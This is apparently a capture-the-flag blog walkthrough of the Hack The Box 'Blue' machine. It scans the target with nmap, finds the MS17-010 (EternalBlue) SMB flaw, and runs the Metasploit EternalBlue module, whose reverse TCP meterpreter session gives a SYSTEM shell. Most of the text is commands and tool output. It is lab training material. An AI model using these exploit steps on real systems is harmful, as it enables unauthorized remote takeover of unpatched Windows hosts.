hack the box walkthrough – Blue machine
Second Windows HTB machine on this blog, like Jerry, it has been very easy to pwn it.
The machine give us already a good indication on the vulnerability we will deal with 🙂
Let’s jump it!
Enumeration
Let’s start with the usual enumeration phase with nmapAutomator.
This time I set Vulns as parameter because again the name give us a big indication and I believe nmap will detect it.
[email protected]:~/Documents/nmapAutomator$ ./nmapAutomator.sh 10.129.55.39 Vulns
Running a Vulns scan on 10.129.55.39
Host is likely running Windows
---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-10 11:15 EST
Nmap scan report for 10.129.55.39
Host is up (0.047s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-10 11:15 EST
WARNING: Duplicate port number(s) specified. Are you alert enough to be using Nmap? Have some coffee or Jolt(tm).
Nmap scan report for 10.129.55.39
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.40 seconds
Running Vuln scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-10 11:16 EST
WARNING: Duplicate port number(s) specified. Are you alert enough to be using Nmap? Have some coffee or Jolt(tm).
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.129.55.39
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49152/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49153/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49154/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49155/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49156/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
49157/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.55 seconds
---------------------Finished all Nmap scans---------------------
Completed in 2 minute(s) and 59 second(s)Indeed without surprise the server is vulnerable to CVE-2017-0143 which is the EternalBlue vulnerability.
EternalBlue exploit
The exploit is existing on Metasploit which make the exploitation even easier:
msf6 > search eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
I have used exploit/windows/smb/ms17_010_eternalblue
msf6 > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.28.132 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
By running the exploit I got the meterpreter session in few seconds:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.64:4444
[*] 10.129.55.39:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.55.39:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.55.39:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.129.55.39:445 - Connecting to target for exploitation.
[+] 10.129.55.39:445 - Connection established for exploitation.
[+] 10.129.55.39:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.55.39:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.55.39:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.129.55.39:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.129.55.39:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.129.55.39:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.55.39:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.55.39:445 - Sending all but last fragment of exploit packet
[*] 10.129.55.39:445 - Starting non-paged pool grooming
[+] 10.129.55.39:445 - Sending SMBv2 buffers
[+] 10.129.55.39:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.55.39:445 - Sending final SMBv2 buffers.
[*] 10.129.55.39:445 - Sending last fragment of exploit packet!
[*] 10.129.55.39:445 - Receiving response from exploit packet
[+] 10.129.55.39:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.55.39:445 - Sending egg to corrupted connection.
[*] 10.129.55.39:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.129.55.39
[*] Meterpreter session 1 opened (10.10.14.64:4444 -> 10.129.55.39:49158) at 2021-01-10 11:26:55 -0500
[+] 10.129.55.39:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.55.39:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.55.39:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
I got directly full admin rights
meterpreter > shell
Process 2220 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
